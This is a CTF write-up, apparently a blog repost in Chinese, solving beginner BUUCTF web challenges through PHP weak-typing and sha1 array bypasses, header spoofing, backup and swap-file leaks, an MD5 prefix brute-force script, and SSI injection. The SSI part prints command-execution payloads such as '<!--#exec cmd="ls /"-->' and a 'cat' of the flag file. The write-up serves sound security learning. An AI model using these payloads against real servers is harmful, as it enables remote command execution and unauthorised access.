BUUCTF web刷題記錄 (一)


[極客大挑戰 2019]Havefun

考點:GET請求

解題

1、F12

<?php
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
      echo 'Syc{cat_cat_cat_cat}';
}       

GET:cat=dog

[極客大挑戰 2020]Roamphp1-Welcome

考點:http協議-請求方式、php函數漏洞

解題

1、進入題目,是一個空白頁面,???POST發包,有驚喜

 <?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {
    
    if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
        show_source(__FILE__);
    }
    else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
        phpinfo();  // collect information from phpinfo!
    }
} 

POST:roam1[]=1&roam2[]=2
搜索關鍵字flag,get flag。

[極客大挑戰 2019]Knife

1、直接連上蟻劍。果真白給的shell。

[極客大挑戰 2019]Http

考點:http協議

知識點:

Header:請求頭

解題

1、Ctrl+U查看源碼,發現了Secret.php

2、
提示了訪問的網址,用burpsuite添加Referer頭
3、
要求使用Syclover瀏覽器,再添加User-Agent
4、只能本地訪問,添加X-Forwarded-For

[BJDCTF 2nd]假豬套天下第一

考點:http協議

知識點:

Header:請求頭

解題

1、
DIj80A.png
2、
DIxVG6.png
按要求把年份time改大
3、
DIxyWV.png
要求本地訪問,偽造IP,添加xff頭,不行,試了client-ip可以
4、
DIztt1.png
要求來自Ying師傅博客的網站,添加Referer頭
5、
DIz5ng.png
對瀏覽器有要求,添加user-agent,(google搜下這個瀏覽器全稱
6、
DopROS.png
要求請求的郵箱是root@gem-love.com,添加From
7、
DoCP4s.png
添加Via頭。

[極客大挑戰 2019]BuyFlag

打開menu下的payflag后,發現一些hint

1、要100000000 money
2、必須是成新的student
3、correct password
在源碼最后的一段發現有用的注釋

1、要post提交money和password,money用科學計數法
2、password要弱等於404,還不能是數字,就利用php弱類型
money=1e10&password=404a
沒啥啊。。。
用burpsuite抓包

發現user值為0,果斷改為1,嘿嘿嘿

[ACTF2020 新生賽]BackupFile(備份文件泄露&php弱類型)

1、用wsacn掃出備份文件index.php.bak

2、

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {//如果$key不是數字,輸出Just num!
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

要求$key是數字,且弱等於123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
測試:

所以,string在和int弱比較時,string會強制轉換為int,刪掉第一個字符及其后面的所有內容,只保留最前面的數字。

key=123就可。

[BJDCTF2020]EasySearch

考點:swp信息泄露、SSI注入

知識點

1、SSI服務端包含注入

解題

1、title是“login”
DRfiwt.png
打開題目,是一個登錄框
挨個嘗試,發現/index.php.swp,存在緩存文件泄露

<?php
	ob_start();//打開輸出控制緩沖
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times,例:Hd3$^
		$content = uniqid().$random;//例:5fc4dac3cb3a3Hd3$^
		return sha1($content); 例:17a07336341affe9c7adcaa9eed61e5fb05c771c
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

分析:password經過md5后前6位字符是6d0bc1,把那段文本寫入ppublic/".get_hash().".shtml了
2、寫個腳本跑下md5:

import hashlib

def md5(s):
 return hashlib.md5(s.encode(encoding='UTF-8')).hexdigest()

for i in range(1000000000):
    h = md5(str(i))
    if h[0:6] == "6d0bc1":
        print(i)
        break

3、username沒做要求,隨便寫,password就用跑出來的2020666
DR7fxK.png
訪問返回的文件
DRbbgP.png


4、利用SSI注入漏洞,嘗試在username處執行ssi語句進行RCE
查看根目錄:

<!--#exec cmd="ls /"-->

查看當前目錄:

<!--#exec cmd="ls"-->

目錄穿越:

<!--#exec cmd="ls ../"-->

DRzwFO.png
讀取falg:

<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->

總結

看到.shtml,就考慮SSI注入


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM